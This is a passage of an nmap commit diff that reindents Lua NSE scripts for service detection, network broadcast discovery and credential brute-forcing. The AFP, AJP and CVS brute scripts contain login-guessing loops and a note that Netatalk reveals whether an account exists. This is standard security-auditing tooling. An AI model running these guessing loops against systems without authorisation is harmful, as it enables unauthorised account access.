mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 04:31:29 +00:00
Reindent some scripts. Whitespace only.
https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
@@ -49,68 +49,68 @@ portrule = shortport.port_or_service (2202, "acarsd", {"tcp"})
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local result = {}
|
||||
local result = {}
|
||||
|
||||
-- Set timeout
|
||||
local timeout = tonumber(nmap.registry.args[SCRIPT_NAME .. '.timeout'])
|
||||
if not timeout or timeout < 0 then timeout = 10 end
|
||||
-- Set timeout
|
||||
local timeout = tonumber(nmap.registry.args[SCRIPT_NAME .. '.timeout'])
|
||||
if not timeout or timeout < 0 then timeout = 10 end
|
||||
|
||||
-- Set bytes
|
||||
local bytes = tonumber(nmap.registry.args[SCRIPT_NAME .. '.bytes'])
|
||||
if not bytes then bytes = 512 else tonumber(bytes) end
|
||||
-- Set bytes
|
||||
local bytes = tonumber(nmap.registry.args[SCRIPT_NAME .. '.bytes'])
|
||||
if not bytes then bytes = 512 else tonumber(bytes) end
|
||||
|
||||
-- Connect and retrieve acarsd info in XML format over TCP
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s [Timeout: %ss]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
|
||||
if not status or not data then
|
||||
stdnse.print_debug(1, ("%s: Retrieving data from %s:%s failed [Timeout expired]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
-- Connect and retrieve acarsd info in XML format over TCP
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s [Timeout: %ss]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
|
||||
if not status or not data then
|
||||
stdnse.print_debug(1, ("%s: Retrieving data from %s:%s failed [Timeout expired]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
|
||||
-- Check if retrieved data is valid acarsd data
|
||||
if not string.match(data, "acarsd") then
|
||||
stdnse.print_debug(1, ("%s: %s:%s is not an acarsd Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
-- Check if retrieved data is valid acarsd data
|
||||
if not string.match(data, "acarsd") then
|
||||
stdnse.print_debug(1, ("%s: %s:%s is not an acarsd Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
|
||||
-- Check for restricted access -- Parse daemon info
|
||||
if string.match(data, "Authorization needed%. If your client doesnt support this") then
|
||||
-- Check for restricted access -- Parse daemon info
|
||||
if string.match(data, "Authorization needed%. If your client doesnt support this") then
|
||||
|
||||
local version_match = string.match(data, "acarsd\t(.+)\t")
|
||||
if version_match then table.insert(result, string.format("Version: %s", version_match)) end
|
||||
local api_version_match = string.match(data, "acarsd\t.+\t(API.+[0-9][0-9]?)")
|
||||
if api_version_match then table.insert(result, string.format("API Version: %s", api_version_match)) end
|
||||
table.insert(result, "Authorization Required: 1")
|
||||
local version_match = string.match(data, "acarsd\t(.+)\t")
|
||||
if version_match then table.insert(result, string.format("Version: %s", version_match)) end
|
||||
local api_version_match = string.match(data, "acarsd\t.+\t(API.+[0-9][0-9]?)")
|
||||
if api_version_match then table.insert(result, string.format("API Version: %s", api_version_match)) end
|
||||
table.insert(result, "Authorization Required: 1")
|
||||
|
||||
-- Check for unrestricted access -- Parse daemon info
|
||||
else
|
||||
-- Check for unrestricted access -- Parse daemon info
|
||||
else
|
||||
|
||||
stdnse.print_debug(1, ("%s: Parsing data from %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
local vars = {
|
||||
{"Version","Version"},
|
||||
{"API Version","APIVersion"},
|
||||
--{"Hostname","Hostname"},
|
||||
--{"Port","Port"},
|
||||
--{"Server UUID","ServerUUID"},
|
||||
{"Authorization Required","NeedAuth"},
|
||||
{"Admin E-mail","AdminMail"},
|
||||
{"Clients Connected","ClientsConnected"},
|
||||
{"Frequency","Frequency"},
|
||||
{"License","License"},
|
||||
}
|
||||
for _, var in ipairs(vars) do
|
||||
local tag = var[2]
|
||||
local var_match = string.match(data, string.format('<%s>(.+)</%s>', tag, tag))
|
||||
if var_match then table.insert(result, string.format("%s: %s", var[1], string.gsub(var_match, "&", "&"))) end
|
||||
end
|
||||
stdnse.print_debug(1, ("%s: Parsing data from %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
local vars = {
|
||||
{"Version","Version"},
|
||||
{"API Version","APIVersion"},
|
||||
--{"Hostname","Hostname"},
|
||||
--{"Port","Port"},
|
||||
--{"Server UUID","ServerUUID"},
|
||||
{"Authorization Required","NeedAuth"},
|
||||
{"Admin E-mail","AdminMail"},
|
||||
{"Clients Connected","ClientsConnected"},
|
||||
{"Frequency","Frequency"},
|
||||
{"License","License"},
|
||||
}
|
||||
for _, var in ipairs(vars) do
|
||||
local tag = var[2]
|
||||
local var_match = string.match(data, string.format('<%s>(.+)</%s>', tag, tag))
|
||||
if var_match then table.insert(result, string.format("%s: %s", var[1], string.gsub(var_match, "&", "&"))) end
|
||||
end
|
||||
|
||||
end
|
||||
port.version.name = "acarsd"
|
||||
port.version.product = "ACARS Decoder"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
port.version.name = "acarsd"
|
||||
port.version.product = "ACARS Decoder"
|
||||
nmap.set_port_version(host, port)
|
||||
|
||||
-- Return results
|
||||
return stdnse.format_output(true, result)
|
||||
-- Return results
|
||||
return stdnse.format_output(true, result)
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -51,61 +51,61 @@ portrule = shortport.port_or_service(548, "afp")
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local result, response, status = {}, nil, nil
|
||||
local valid_accounts, found_users = {}, {}
|
||||
local helper
|
||||
local usernames, passwords
|
||||
local result, response, status = {}, nil, nil
|
||||
local valid_accounts, found_users = {}, {}
|
||||
local helper
|
||||
local usernames, passwords
|
||||
|
||||
status, usernames = unpwdb.usernames()
|
||||
if not status then return end
|
||||
status, usernames = unpwdb.usernames()
|
||||
if not status then return end
|
||||
|
||||
status, passwords = unpwdb.passwords()
|
||||
if not status then return end
|
||||
status, passwords = unpwdb.passwords()
|
||||
if not status then return end
|
||||
|
||||
for password in passwords do
|
||||
for username in usernames do
|
||||
if ( not(found_users[username]) ) then
|
||||
for password in passwords do
|
||||
for username in usernames do
|
||||
if ( not(found_users[username]) ) then
|
||||
|
||||
helper = afp.Helper:new()
|
||||
status, response = helper:OpenSession( host, port )
|
||||
helper = afp.Helper:new()
|
||||
status, response = helper:OpenSession( host, port )
|
||||
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug("OpenSession failed")
|
||||
return
|
||||
end
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug("OpenSession failed")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
||||
status, response = helper:Login( username, password )
|
||||
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
||||
status, response = helper:Login( username, password )
|
||||
|
||||
-- if the response is "Parameter error." we're dealing with Netatalk
|
||||
-- This basically means that the user account does not exist
|
||||
-- In this case, why bother continuing? Simply abort and thank Netatalk for the fish
|
||||
if response:match("Parameter error.") then
|
||||
stdnse.print_debug("Netatalk told us the user does not exist! Thanks.")
|
||||
-- mark it as "found" to skip it
|
||||
found_users[username] = true
|
||||
end
|
||||
-- if the response is "Parameter error." we're dealing with Netatalk
|
||||
-- This basically means that the user account does not exist
|
||||
-- In this case, why bother continuing? Simply abort and thank Netatalk for the fish
|
||||
if response:match("Parameter error.") then
|
||||
stdnse.print_debug("Netatalk told us the user does not exist! Thanks.")
|
||||
-- mark it as "found" to skip it
|
||||
found_users[username] = true
|
||||
end
|
||||
|
||||
if status then
|
||||
-- Add credentials for other afp scripts to use
|
||||
if nmap.registry.afp == nil then
|
||||
nmap.registry.afp = {}
|
||||
end
|
||||
nmap.registry.afp[username]=password
|
||||
found_users[username] = true
|
||||
if status then
|
||||
-- Add credentials for other afp scripts to use
|
||||
if nmap.registry.afp == nil then
|
||||
nmap.registry.afp = {}
|
||||
end
|
||||
nmap.registry.afp[username]=password
|
||||
found_users[username] = true
|
||||
|
||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||
break
|
||||
end
|
||||
helper:CloseSession()
|
||||
end
|
||||
end
|
||||
usernames("reset")
|
||||
end
|
||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||
break
|
||||
end
|
||||
helper:CloseSession()
|
||||
end
|
||||
end
|
||||
usernames("reset")
|
||||
end
|
||||
|
||||
local output = stdnse.format_output(true, valid_accounts)
|
||||
local output = stdnse.format_output(true, valid_accounts)
|
||||
|
||||
return output
|
||||
return output
|
||||
|
||||
end
|
||||
|
||||
@@ -39,74 +39,74 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host,
|
||||
port = port,
|
||||
options = options,
|
||||
helper = ajp.Helper:new(host, port)
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host,
|
||||
port = port,
|
||||
options = options,
|
||||
helper = ajp.Helper:new(host, port)
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function(self)
|
||||
return self.helper:connect()
|
||||
end,
|
||||
connect = function(self)
|
||||
return self.helper:connect()
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
return self.helper:close()
|
||||
end,
|
||||
disconnect = function(self)
|
||||
return self.helper:close()
|
||||
end,
|
||||
|
||||
login = function(self, user, pass)
|
||||
local headers = {
|
||||
["Authorization"] = ("Basic %s"):format(base64.enc(user .. ":" .. pass))
|
||||
}
|
||||
local status, response = self.helper:get(arg_url, headers)
|
||||
login = function(self, user, pass)
|
||||
local headers = {
|
||||
["Authorization"] = ("Basic %s"):format(base64.enc(user .. ":" .. pass))
|
||||
}
|
||||
local status, response = self.helper:get(arg_url, headers)
|
||||
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( response )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
elseif( response.status ~= 401 ) then
|
||||
return true, brute.Account:new(user, pass, creds.State.VALID)
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( response )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
elseif( response.status ~= 401 ) then
|
||||
return true, brute.Account:new(user, pass, creds.State.VALID)
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local helper = ajp.Helper:new(host, port)
|
||||
if ( not(helper:connect()) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
local helper = ajp.Helper:new(host, port)
|
||||
if ( not(helper:connect()) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
|
||||
local status, response = helper:get(arg_url)
|
||||
if ( not(response.headers['www-authenticate']) ) then
|
||||
return "\n URL does not require authentication"
|
||||
end
|
||||
local status, response = helper:get(arg_url)
|
||||
if ( not(response.headers['www-authenticate']) ) then
|
||||
return "\n URL does not require authentication"
|
||||
end
|
||||
|
||||
local challenges = http.parse_www_authenticate(response.headers['www-authenticate'])
|
||||
local options = { scheme = nil }
|
||||
for _, challenge in ipairs(challenges or {}) do
|
||||
if ( challenge and challenge.scheme and challenge.scheme:lower() == "basic") then
|
||||
options.scheme = challenge.scheme:lower()
|
||||
break
|
||||
end
|
||||
end
|
||||
local challenges = http.parse_www_authenticate(response.headers['www-authenticate'])
|
||||
local options = { scheme = nil }
|
||||
for _, challenge in ipairs(challenges or {}) do
|
||||
if ( challenge and challenge.scheme and challenge.scheme:lower() == "basic") then
|
||||
options.scheme = challenge.scheme:lower()
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if ( not(options.scheme) ) then
|
||||
return fail("Could not find a supported authentication scheme")
|
||||
end
|
||||
if ( not(options.scheme) ) then
|
||||
return fail("Could not find a supported authentication scheme")
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
|
||||
local status, result = engine:start()
|
||||
if ( status ) then
|
||||
return result
|
||||
end
|
||||
local status, result = engine:start()
|
||||
if ( status ) then
|
||||
return result
|
||||
end
|
||||
end
|
||||
|
||||
@@ -37,16 +37,16 @@ categories = {"broadcast", "safe"}
|
||||
|
||||
|
||||
prerule = function()
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
if nmap.address_family() ~= 'inet6' then
|
||||
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if nmap.address_family() ~= 'inet6' then
|
||||
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Gets a list of available interfaces based on link and up filters
|
||||
@@ -55,64 +55,64 @@ end
|
||||
-- @param up string containing the interface status to filter
|
||||
-- @return result table containing the matching interfaces
|
||||
local function getInterfaces(link, up)
|
||||
if( not(nmap.list_interfaces) ) then return end
|
||||
local interfaces, err = nmap.list_interfaces()
|
||||
local result
|
||||
if ( not(err) ) then
|
||||
for _, iface in ipairs(interfaces) do
|
||||
if ( iface.link == link and iface.up == up ) then
|
||||
result = result or {}
|
||||
result[iface.device] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
if( not(nmap.list_interfaces) ) then return end
|
||||
local interfaces, err = nmap.list_interfaces()
|
||||
local result
|
||||
if ( not(err) ) then
|
||||
for _, iface in ipairs(interfaces) do
|
||||
if ( iface.link == link and iface.up == up ) then
|
||||
result = result or {}
|
||||
result[iface.device] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function solicit(iface, result)
|
||||
local condvar = nmap.condvar(result)
|
||||
local helper = dhcp6.Helper:new(iface)
|
||||
if ( not(helper) ) then
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
local condvar = nmap.condvar(result)
|
||||
local helper = dhcp6.Helper:new(iface)
|
||||
if ( not(helper) ) then
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
|
||||
local status, response = helper:solicit()
|
||||
if ( status ) then
|
||||
response.name=("Interface: %s"):format(iface)
|
||||
table.insert(result, response )
|
||||
end
|
||||
condvar "signal"
|
||||
local status, response = helper:solicit()
|
||||
if ( status ) then
|
||||
response.name=("Interface: %s"):format(iface)
|
||||
table.insert(result, response )
|
||||
end
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local iface = nmap.get_interface()
|
||||
local ifs, result, threads = {}, {}, {}
|
||||
local condvar = nmap.condvar(result)
|
||||
local iface = nmap.get_interface()
|
||||
local ifs, result, threads = {}, {}, {}
|
||||
local condvar = nmap.condvar(result)
|
||||
|
||||
if ( iface ) then
|
||||
ifs[iface] = true
|
||||
else
|
||||
ifs = getInterfaces("ethernet", "up")
|
||||
end
|
||||
if ( iface ) then
|
||||
ifs[iface] = true
|
||||
else
|
||||
ifs = getInterfaces("ethernet", "up")
|
||||
end
|
||||
|
||||
for iface in pairs(ifs) do
|
||||
local co = stdnse.new_thread( solicit, iface, result )
|
||||
threads[co] = true
|
||||
end
|
||||
for iface in pairs(ifs) do
|
||||
local co = stdnse.new_thread( solicit, iface, result )
|
||||
threads[co] = true
|
||||
end
|
||||
|
||||
-- wait until the probes are all done
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then
|
||||
threads[thread] = nil
|
||||
end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
-- wait until the probes are all done
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then
|
||||
threads[thread] = nil
|
||||
end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
|
||||
return stdnse.format_output(true, result)
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -61,54 +61,54 @@ prerule = function() return true end
|
||||
-- converted to Yes/No; if the value is nil, nothing is added to the table.
|
||||
local function add_to_output_table( outputTable, outputLabel, outputData )
|
||||
|
||||
if outputData ~= nil then
|
||||
if outputData == true then
|
||||
outputData = "Yes"
|
||||
elseif outputData == false then
|
||||
outputData = "No"
|
||||
end
|
||||
if outputData ~= nil then
|
||||
if outputData == true then
|
||||
outputData = "Yes"
|
||||
elseif outputData == false then
|
||||
outputData = "No"
|
||||
end
|
||||
|
||||
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
|
||||
end
|
||||
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
--- Returns formatted output for the given instance
|
||||
local function create_instance_output_table( instance )
|
||||
|
||||
local instanceOutput = {}
|
||||
local instanceOutput = {}
|
||||
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
add_to_output_table( instanceOutput, "Name", instance.instanceName )
|
||||
if instance.version then add_to_output_table( instanceOutput, "Product", instance.version.productName ) end
|
||||
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
|
||||
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
add_to_output_table( instanceOutput, "Name", instance.instanceName )
|
||||
if instance.version then add_to_output_table( instanceOutput, "Product", instance.version.productName ) end
|
||||
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
|
||||
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
|
||||
|
||||
return instanceOutput
|
||||
return instanceOutput
|
||||
|
||||
end
|
||||
|
||||
action = function()
|
||||
|
||||
local host = { ip = "255.255.255.255" }
|
||||
local port = { number = 1434, protocol = "udp" }
|
||||
local host = { ip = "255.255.255.255" }
|
||||
local port = { number = 1434, protocol = "udp" }
|
||||
|
||||
local status, result = mssql.Helper.DiscoverBySsrp(host, port, true)
|
||||
if ( not(status) ) then return end
|
||||
local status, result = mssql.Helper.DiscoverBySsrp(host, port, true)
|
||||
if ( not(status) ) then return end
|
||||
|
||||
local scriptOutput = {}
|
||||
for ip, instanceList in pairs(result) do
|
||||
local serverOutput, serverName = {}, nil
|
||||
target.add( ip )
|
||||
for _, instance in ipairs( instanceList ) do
|
||||
serverName = serverName or instance.serverName
|
||||
local instanceOutput = create_instance_output_table( instance )
|
||||
table.insert(serverOutput, instanceOutput)
|
||||
end
|
||||
serverOutput.name = string.format( "%s (%s)", ip, serverName )
|
||||
table.insert( scriptOutput, serverOutput )
|
||||
end
|
||||
local scriptOutput = {}
|
||||
for ip, instanceList in pairs(result) do
|
||||
local serverOutput, serverName = {}, nil
|
||||
target.add( ip )
|
||||
for _, instance in ipairs( instanceList ) do
|
||||
serverName = serverName or instance.serverName
|
||||
local instanceOutput = create_instance_output_table( instance )
|
||||
table.insert(serverOutput, instanceOutput)
|
||||
end
|
||||
serverOutput.name = string.format( "%s (%s)", ip, serverName )
|
||||
table.insert( scriptOutput, serverOutput )
|
||||
end
|
||||
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
|
||||
end
|
||||
|
||||
@@ -36,37 +36,37 @@ categories = {"broadcast", "safe"}
|
||||
|
||||
|
||||
prerule = function()
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function fail(err)
|
||||
if ( err ) then
|
||||
return ("\n ERROR: %s"):format(err)
|
||||
end
|
||||
if ( err ) then
|
||||
return ("\n ERROR: %s"):format(err)
|
||||
end
|
||||
end
|
||||
|
||||
local function discoverPPPoE(helper)
|
||||
|
||||
local status, err = helper:connect()
|
||||
if ( not(status) ) then
|
||||
return false, err
|
||||
end
|
||||
local status, err = helper:connect()
|
||||
if ( not(status) ) then
|
||||
return false, err
|
||||
end
|
||||
|
||||
local status, pado = helper:discoverInit()
|
||||
if ( not(status) ) then
|
||||
return false, pado
|
||||
end
|
||||
local status, pado = helper:discoverInit()
|
||||
if ( not(status) ) then
|
||||
return false, pado
|
||||
end
|
||||
|
||||
status, err = helper:discoverRequest()
|
||||
if ( not(status) ) then
|
||||
return false, err
|
||||
end
|
||||
status, err = helper:discoverRequest()
|
||||
if ( not(status) ) then
|
||||
return false, err
|
||||
end
|
||||
|
||||
return true, pado
|
||||
return true, pado
|
||||
end
|
||||
|
||||
-- Gets a list of available interfaces based on link and up filters
|
||||
@@ -75,53 +75,53 @@ end
|
||||
-- @param up string containing the interface status to filter
|
||||
-- @return result table containing the matching interfaces
|
||||
local function getInterfaces(link, up)
|
||||
if( not(nmap.list_interfaces) ) then return end
|
||||
local interfaces, err = nmap.list_interfaces()
|
||||
local result
|
||||
if ( not(err) ) then
|
||||
for _, iface in ipairs(interfaces) do
|
||||
if ( iface.link == link and iface.up == up ) then
|
||||
result = result or {}
|
||||
result[iface.device] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
if( not(nmap.list_interfaces) ) then return end
|
||||
local interfaces, err = nmap.list_interfaces()
|
||||
local result
|
||||
if ( not(err) ) then
|
||||
for _, iface in ipairs(interfaces) do
|
||||
if ( iface.link == link and iface.up == up ) then
|
||||
result = result or {}
|
||||
result[iface.device] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
action = function()
|
||||
|
||||
local interfaces
|
||||
local interfaces
|
||||
|
||||
-- first check if the user supplied an interface
|
||||
if ( nmap.get_interface() ) then
|
||||
interfaces = { [nmap.get_interface()] = true }
|
||||
else
|
||||
interfaces = getInterfaces("ethernet", "up")
|
||||
end
|
||||
-- first check if the user supplied an interface
|
||||
if ( nmap.get_interface() ) then
|
||||
interfaces = { [nmap.get_interface()] = true }
|
||||
else
|
||||
interfaces = getInterfaces("ethernet", "up")
|
||||
end
|
||||
|
||||
for iface in pairs(interfaces) do
|
||||
local helper, err = pppoe.Helper:new(iface)
|
||||
if ( not(helper) ) then
|
||||
return fail(err)
|
||||
end
|
||||
local status, pado = discoverPPPoE(helper)
|
||||
if ( not(status) ) then
|
||||
return fail(pado)
|
||||
end
|
||||
helper:close()
|
||||
for iface in pairs(interfaces) do
|
||||
local helper, err = pppoe.Helper:new(iface)
|
||||
if ( not(helper) ) then
|
||||
return fail(err)
|
||||
end
|
||||
local status, pado = discoverPPPoE(helper)
|
||||
if ( not(status) ) then
|
||||
return fail(pado)
|
||||
end
|
||||
helper:close()
|
||||
|
||||
local output = { name = ("Server: %s"):format(stdnse.format_mac(pado.mac_srv)) }
|
||||
table.insert(output, ("Version: %d"):format(pado.header.version))
|
||||
table.insert(output, ("Type: %d"):format(pado.header.type))
|
||||
local output = { name = ("Server: %s"):format(stdnse.format_mac(pado.mac_srv)) }
|
||||
table.insert(output, ("Version: %d"):format(pado.header.version))
|
||||
table.insert(output, ("Type: %d"):format(pado.header.type))
|
||||
|
||||
local tags = { name = "TAGs" }
|
||||
for _, tag in ipairs(pado.tags) do
|
||||
local name, val = pppoe.PPPoE.TagName[tag.tag], tag.decoded
|
||||
table.insert(tags, ("%s: %s"):format(name, val))
|
||||
end
|
||||
table.insert(output, tags)
|
||||
local tags = { name = "TAGs" }
|
||||
for _, tag in ipairs(pado.tags) do
|
||||
local name, val = pppoe.PPPoE.TagName[tag.tag], tag.decoded
|
||||
table.insert(tags, ("%s: %s"):format(name, val))
|
||||
end
|
||||
table.insert(output, tags)
|
||||
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -47,83 +47,83 @@ portrule = shortport.port_or_service(2401, "cvspserver")
|
||||
Driver =
|
||||
{
|
||||
|
||||
new = function(self, host, port )
|
||||
local o = { host = host, helper = cvs.Helper:new(host, port) }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port )
|
||||
local o = { host = host, helper = cvs.Helper:new(host, port) }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.helper:connect()
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
self.helper:connect()
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
username = ""
|
||||
if ( password:sub(1,1) ~= "/" ) then password = "/" .. password end
|
||||
local status, err = self.helper:login( password, "repository", "repository" )
|
||||
if ( not(status) and err:match("I HATE YOU") ) then
|
||||
-- let's store the repositories in the registry so the brute
|
||||
-- script can use them later.
|
||||
self.host.registry.cvs_repos = self.host.registry.cvs_repos or {}
|
||||
table.insert(self.host.registry.cvs_repos, password)
|
||||
return true, brute.Account:new(username, password, 0)
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
login = function( self, username, password )
|
||||
username = ""
|
||||
if ( password:sub(1,1) ~= "/" ) then password = "/" .. password end
|
||||
local status, err = self.helper:login( password, "repository", "repository" )
|
||||
if ( not(status) and err:match("I HATE YOU") ) then
|
||||
-- let's store the repositories in the registry so the brute
|
||||
-- script can use them later.
|
||||
self.host.registry.cvs_repos = self.host.registry.cvs_repos or {}
|
||||
table.insert(self.host.registry.cvs_repos, password)
|
||||
return true, brute.Account:new(username, password, 0)
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.helper:close()
|
||||
end,
|
||||
disconnect = function( self )
|
||||
self.helper:close()
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
|
||||
-- a list of "common" repository names:
|
||||
-- the first two are Debian/Ubuntu default names
|
||||
-- the rest were found during tests or in google searches
|
||||
local repos = {"myrepos", "demo", "cvs", "cvsroot", "prod", "src", "test",
|
||||
"source", "devel", "cvsroot", "/var/lib/cvsroot",
|
||||
"cvs-repository", "/home/cvsroot", "/var/cvs",
|
||||
"/usr/local/cvs"}
|
||||
-- a list of "common" repository names:
|
||||
-- the first two are Debian/Ubuntu default names
|
||||
-- the rest were found during tests or in google searches
|
||||
local repos = {"myrepos", "demo", "cvs", "cvsroot", "prod", "src", "test",
|
||||
"source", "devel", "cvsroot", "/var/lib/cvsroot",
|
||||
"cvs-repository", "/home/cvsroot", "/var/cvs",
|
||||
"/usr/local/cvs"}
|
||||
|
||||
local repofile = stdnse.get_script_args("cvs-brute-repository.repofile")
|
||||
local f
|
||||
local repofile = stdnse.get_script_args("cvs-brute-repository.repofile")
|
||||
local f
|
||||
|
||||
if ( repofile ) then
|
||||
f = io.open( repofile, "r" )
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to open repository file: %s"):format(repofile)
|
||||
end
|
||||
end
|
||||
if ( repofile ) then
|
||||
f = io.open( repofile, "r" )
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to open repository file: %s"):format(repofile)
|
||||
end
|
||||
end
|
||||
|
||||
local function repository_iterator()
|
||||
local function next_repo()
|
||||
for line in f:lines() do
|
||||
if ( not(line:match("#!comment")) ) then
|
||||
coroutine.yield("", line)
|
||||
end
|
||||
end
|
||||
while(true) do coroutine.yield(nil, nil) end
|
||||
end
|
||||
return coroutine.wrap(next_repo)
|
||||
end
|
||||
local function repository_iterator()
|
||||
local function next_repo()
|
||||
for line in f:lines() do
|
||||
if ( not(line:match("#!comment")) ) then
|
||||
coroutine.yield("", line)
|
||||
end
|
||||
end
|
||||
while(true) do coroutine.yield(nil, nil) end
|
||||
end
|
||||
return coroutine.wrap(next_repo)
|
||||
end
|
||||
|
||||
engine.options:setTitle("Repositories")
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.passonly = true
|
||||
engine.options.firstonly = false
|
||||
engine.options.nostore = true
|
||||
engine.iterator = brute.Iterators.account_iterator({""}, repos, "user")
|
||||
if ( repofile ) then engine.iterator = unpwdb.concat_iterators(engine.iterator,repository_iterator()) end
|
||||
status, result = engine:start()
|
||||
engine.options:setTitle("Repositories")
|
||||
